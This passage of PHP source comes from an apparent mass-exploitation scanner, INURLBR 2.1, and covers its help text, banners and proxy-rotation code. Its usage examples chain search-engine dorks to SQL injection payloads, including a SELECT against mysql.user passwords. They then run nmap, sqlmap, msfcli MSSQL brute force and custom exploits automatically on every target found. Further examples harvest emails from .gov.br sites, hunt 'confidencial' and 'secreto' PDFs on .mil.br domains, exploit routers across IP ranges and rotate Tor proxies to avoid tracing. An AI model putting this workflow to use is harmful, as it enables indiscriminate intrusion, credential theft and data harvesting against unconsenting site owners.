    Example:  {$_SESSION["c1"]}--replace {$_SESSION["c2"]}{value_old[INURL]value_new}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--replace {$_SESSION["c2"]}'index.aspx?id=[INURL]index.aspx?id=1%27´'{$_SESSION["c0"]}
                  
 {$_SESSION["c1"]}--remove{$_SESSION["c0"]} Remove values in the target URL.
      Example: {$_SESSION["c1"]}--remove {$_SESSION["c2"]}{string}{$_SESSION["c0"]}
      Usage:   {$_SESSION["c1"]}--remove {$_SESSION["c2"]}'/admin.php?id=0'
              
 {$_SESSION["c1"]}--regexp{$_SESSION["c0"]} Using regular expression to validate his research, the value of the 
    Expression will be sought within the target/URL.
    Example:  {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]}
    All Major Credit Cards:
    Usage:    {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'{$_SESSION["c0"]}
    
    IP Addresses:
    Usage:    {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'{$_SESSION["c0"]}
    
    EMAIL:   
    Usage:    {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]}
    

 {$_SESSION["c1"]}---regexp-filter{$_SESSION["c0"]} Using regular expression to filter his research, the value of the 
     Expression will be sought within the target/URL.
    Example:  {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]}
    EMAIL:   
    Usage:    {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]}
 

    [!] Small commands manager:
    
 {$_SESSION["c1"]}--exploit-cad{$_SESSION["c0"]} Command register for use within the scanner.
    Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND}
    Example Format: NMAP::nmap -sV _TARGET_
    Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt
    Usage:    {$_SESSION["c1"]}--exploit-cad{$_SESSION["c2"]} 'NMAP::nmap -sV _TARGET_'{$_SESSION["c0"]} 
    Observation: Each registered command is identified by an id of your array.
                 Commands are logged in exploits.conf file.

 {$_SESSION["c1"]}--exploit-all-id{$_SESSION["c0"]} Execute commands, exploits based on id of use,
    (all) is run for each target found by the engine.
     Example: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}1,2,8,22
         
 {$_SESSION["c1"]}--exploit-vul-id{$_SESSION["c0"]} Execute commands, exploits based on id of use,
    (vull) run command only if the target was considered vulnerable.
     Example: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}1,2,8,22

 {$_SESSION["c1"]}--exploit-list{$_SESSION["c0"]} List all entries command in exploits.conf file.


    [!] Running subprocesses:
    
 {$_SESSION["c1"]}--sub-file{$_SESSION["c0"]}  Subprocess performs an injection 
     strings in URLs found by the engine, via GET or POST.
     Example: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}{youfile}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}exploits_get.txt
         
 {$_SESSION["c1"]}--sub-get{$_SESSION["c0"]} defines whether the strings coming from 
     --sub-file will be injected via GET.
     Usage:   {$_SESSION["c1"]}--sub-get
         
 {$_SESSION["c1"]}--sub-post{$_SESSION["c0"]} defines whether the strings coming from 
     --sub-file will be injected via POST.
     Usage:   {$_SESSION["c1"]}--sub-get
         
 {$_SESSION["c1"]}--sub-concat{$_SESSION["c0"]} Sets string to be concatenated with 
     the target host within the subprocess
     Example: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}{string}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}'/login.php'{$_SESSION["c0"]}

 {$_SESSION["c1"]}--sub-cmd-vul{$_SESSION["c0"]} Each vulnerable URL found within the sub-process
     will execute the parameters of this command.
     Example: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
                  
 {$_SESSION["c1"]}--sub-cmd-all{$_SESSION["c0"]} Run command to each target found within the sub-process scope.
     Example: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}


 {$_SESSION["c1"]}--port-scan{$_SESSION["c0"]} Defines ports that will be validated as open.
     Example: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}{ports}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}'22,21,23,3306'{$_SESSION["c0"]}
         
 {$_SESSION["c1"]}--port-cmd{$_SESSION["c0"]} Define command that runs when finding an open door.
     Example: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_:_PORT_'{$_SESSION["c0"]}
              {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_/file.php?sqli=1'{$_SESSION["c0"]}

 {$_SESSION["c1"]}--port-write{$_SESSION["c0"]} Send values for door.
     Example: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}{'value0','value1','value3'}{$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}\"'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'\"{$_SESSION["c0"]}



    [!] Modifying values used within script parameters:
    
 {$_SESSION["c1"]}md5{$_SESSION["c0"]} Encrypt values in md5.
     Example: {$_SESSION["c1"]}md5({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}md5({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=md5({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]}

 {$_SESSION["c1"]}base64{$_SESSION["c0"]} Encrypt values in base64.
     Example: {$_SESSION["c1"]}base64({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}base64({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=base64({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]}
         
 {$_SESSION["c1"]}hex{$_SESSION["c0"]} Encrypt values in hex.
     Example: {$_SESSION["c1"]}hex({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}hex({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=hex({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]}

 {$_SESSION["c1"]}hex{$_SESSION["c0"]} Generate random values.
     Example: {$_SESSION["c1"]}random({$_SESSION["c2"]}{character_counter}{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}random({$_SESSION["c2"]}8{$_SESSION["c1"]}){$_SESSION["c0"]}
     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=random({$_SESSION["c2"]}8{$_SESSION["c1"]})'{$_SESSION["c0"]}

");
}

function __info() {

    return system("command clear") . __getOut("
 {$_SESSION["c1"]}_____ _   _ ______ ____  
|_   _| \ | |  ____/ __ \ 
  | | |  \| | |__ | |  | |
  | | | . ` |  __|| |  | |
 _| |_| |\  | |   | |__| |
|_____|_| \_|_|    \____/
 
{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current PHP version=>{$_SESSION["c1"]}[ " . phpversion() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current script owner=>{$_SESSION["c1"]}[ " . get_current_user() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current uname=>{$_SESSION["c1"]}[ " . php_uname() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current pwd=>{$_SESSION["c1"]}[ " . getcwd() . "{$_SESSION["c0"]} ]
{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
 
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GRUPO  INURL BRASIL - PESQUISA AVANÇADA.
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}SCRIPT NAME: INURLBR 2.1
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}AUTOR:    Cleiton Pinheiro
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Nick:     Googleinurl
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Email:    inurlbr@gmail.com  
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Blog:     http://blog.inurl.com.br
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Twitter:  https://twitter.com/googleinurl
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Facebook: https://fb.com/InurlBrasil
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GIT:      https://github.com/googleinurl
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Pastebin  https://pastebin.com/u/Googleinurl
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PSS:      https://packetstormsecurity.com/user/googleinurl
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}YOUTUBE:  http://youtube.com/c/INURLBrasil
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PLUS:     http://google.com/+INURLBrasil
 {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Version:  2.1

{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
 
   {$_SESSION["c1"]}[+]{$_SESSION["c16"]}NECESSARY FOR THE PROPER FUNCTIONING OF THE SCRIPT{$_SESSION["c0"]}
	
     {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} LIB & CONFIG{$_SESSION["c0"]}

 * PHP Version         5.4.7
 * php5-curl           LIB
 * php5-cli            LIB   
 * cURL support        enabled
 * cURL Information    7.24.0
 * allow_url_fopen     On
 * permission          Reading & Writing
 * User                root privilege, or is in the sudoers group
 * Operating system    LINUX
 * Proxy random        TOR 
                
{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
 
   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}PERMISSION EXECUTION: chmod +x inurlbr.php{$_SESSION["c0"]}
   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CURL: sudo apt-get install php5-curl{$_SESSION["c0"]}
   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CLI: sudo apt-get install php5-cli{$_SESSION["c0"]}
   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl033[0m
   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING PROXY TOR https://www.torproject.org/docs/debian.html.en{$_SESSION["c0"]}
   
{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}

     {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} COMMANDS SIMPLE SCRIPT{$_SESSION["c0"]}
   
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} 
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:aspx?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]}
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]}
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'index of wp-content/uploads' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6,2,4 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'Index of /wp-content/uploads'{$_SESSION["c0"]}
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(confidencial) ext:pdf' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 -t 2 --exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'confidencial'{$_SESSION["c0"]}
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(secreto) ext:pdf' {$_SESSION["c1"]}-s save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'secreto'{$_SESSION["c0"]}        
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\"{$_SESSION["c0"]}
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'.new.php?new id' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6,7,2,3 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'::EXPLOIT-SUCESS::'{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'new.php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}teste.txt  {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27  {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]}
   
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:pt inurl:aspx (id|q)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}bruteforce.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'msfcli auxiliary/scanner/mssql/mssql_login RHOST={$_SESSION["c9"]}_TARGETIP_ {$_SESSION["c2"]}MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E'{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:id & inurl:php' {$_SESSION["c1"]}-s {$_SESSION["c2"]}get.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'python ../sqlmap/sqlmap.py -u \"{$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c2"]}\" --dbs'{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:index.php?id=' {$_SESSION["c1"]}-q 1,2,10 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"'?´0x27'\" {$_SESSION["c1"]}-s {$_SESSION["c2"]}report.txt {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap -Pn -p 1-8080 --script http-enum --open {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email' {$_SESSION["c1"]}-s {$_SESSION["c2"]}reg.txt -q 1  --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}emails.txt {$_SESSION["c1"]}-m{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}urls.txt {$_SESSION["c1"]}-u{$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:gov.bo' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} 
 
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.uk' {$_SESSION["c1"]}-s {$_SESSION["c2"]}uk.txt {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]} 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)' {$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}sqli.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6  {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil'   {$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:\"cgi-bin/login.cgi\"' {$_SESSION["c1"]}-s {$_SESSION["c2"]}cgi.txt --ifurl 'cgi' --command-all 'php xplCGI.php _TARGET_' {$_SESSION["c0"]} 
 
./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?pass=1234\" {$_SESSION["c1"]}-a {$_SESSION["c2"]}'<title>hello! admin</title>'{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find_valid_cod-200.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}5{$_SESSION["c0"]}
  
./inurlbr.php {$_SESSION["c1"]}--range {$_SESSION["c2"]}'200.20.10.1,200.20.10.255' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_'  {$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--range-rad {$_SESSION["c2"]}'1500' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_'  {$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c0"]}
 
./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c0"]} --pr
 
./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksCGI.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c0"]} --pr --shellshock
 
./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks_Wordpress_revslider.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}'xpls_Arbitrary_File_Download.txt' {$_SESSION["c0"]} 
   {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  
  {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}It it also useful to know the full path to the PHP binary on your computer. {$_SESSION["c0"]}
  {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}There are several ways of finding out. For Ubuntu and Mac OS X the path is '/usr/bin/php'.{$_SESSION["c0"]}

  googleinurl@inurlbr:~$ which php 
  /usr/bin/php 
  googleinurl@inurlbr:~/cli$ whereis php 
  php: /usr/bin/php /usr/share/php /usr/share/man/man1/php.1.gz 
  googleinurl@inurlbr:~/cli$ type -a php 
  php is /usr/bin/php

{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}


");
}

################################################################################
#BANNER HOME####################################################################

function __bannerLogo() {

    $vis = ($_SESSION["os"] != 1) ? ("\033[1;3" . rand(1, 10) . "m") : NULL;

    return (!is_null($_SESSION['config']['no-banner']) ? NULL : system("command clear") . "
{$vis}    _____ {$_SESSION["c1"]} .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      {$_SESSION["c12"]}.1BR'''Yp, .8BR'''Cq.  
{$vis}   (_____){$_SESSION["c1"]}   01     01N.    C     01       C     01   .01.    01        {$_SESSION["c3"]}  01    Yb   01   .01. 
{$vis}   (() ()){$_SESSION["c1"]}   01     C YCb   C     01       C     01   ,C9     01        {$_SESSION["c12"]}  01    dP   01   ,C9  
{$vis}    \   / {$_SESSION["c1"]}   01     C  .CN. C     01       C     0101dC9      01        {$_SESSION["c3"]}  01'''bg.   0101dC9   
{$vis}     \ /  {$_SESSION["c1"]}   01     C   .01.C     01       C     01  YC.      01      , {$_SESSION["c12"]}  01    .Y   01  YC.   
{$vis}     /=\  {$_SESSION["c1"]}   01     C     Y01     YC.     ,C     01   .Cb.    01     ,C {$_SESSION["c3"]}  01    ,9   01   .Cb. 
{$vis}    [___] {$_SESSION["c1"]} .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C {$_SESSION["c12"]}.J0101Cd9  .J01L. .J01./ {$_SESSION["c1"]}2.1\n
{$_SESSION["c1"]}__[ ! ] Neither war between hackers, nor peace for the system.
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://blog.inurl.com.br
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://fb.com/InurlBrasil
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://twitter.com/@googleinurl{$_SESSION["c0"]}
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://github.com/googleinurl{$_SESSION["c0"]}
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current PHP version::[ {$_SESSION["c1"]}" . phpversion() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current script owner::[ {$_SESSION["c1"]}" . get_current_user() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current uname::[ {$_SESSION["c1"]}" . php_uname() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current pwd::[ {$_SESSION["c1"]}" . getcwd() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
{$_SESSION["c1"]}__[ ! ] {$_SESSION["c2"]}Help: php inurlbr.php --help{$_SESSION["c0"]}
{$_SESSION["c1"]}------------------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}
");
}

################################################################################
#CHANGE PROXY FUNCTION IN TIME##################################################
################################################################################

function __timeValueChangeProxy($sec = NULL) {

    return not_isnull_empty($sec) ? date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . " + {$sec} second")) : NULL;
}

function __timeSecChangeProxy($list_proxy) {

    if ($_SESSION["config"]["time_change_proxy"] < date('Y-m-d H:i:s') && !is_null($list_proxy)) {
        $proxy = $list_proxy[rand(0, count($list_proxy) - 1)];
        echo ("[ INFO ][PROXY] CHANGE: {$proxy}  - " . date('Y-m-d H:i:s') . "\n");
        $_SESSION["config"]["proxy"] = $proxy;
        $_SESSION["config"]["time_change_proxy"] = __timeValueChangeProxy($_SESSION["config"]["time-proxy"]);
        __plus();
    }
}

################################################################################
#GET STATUS HTTP URL############################################################
################################################################################

function __getStatusURL($url) {

    if (!is_null($url) && !empty($url)) {
        return FALSE;
    }
    __plus();
    $status = array();
    $curl = curl_init($url);
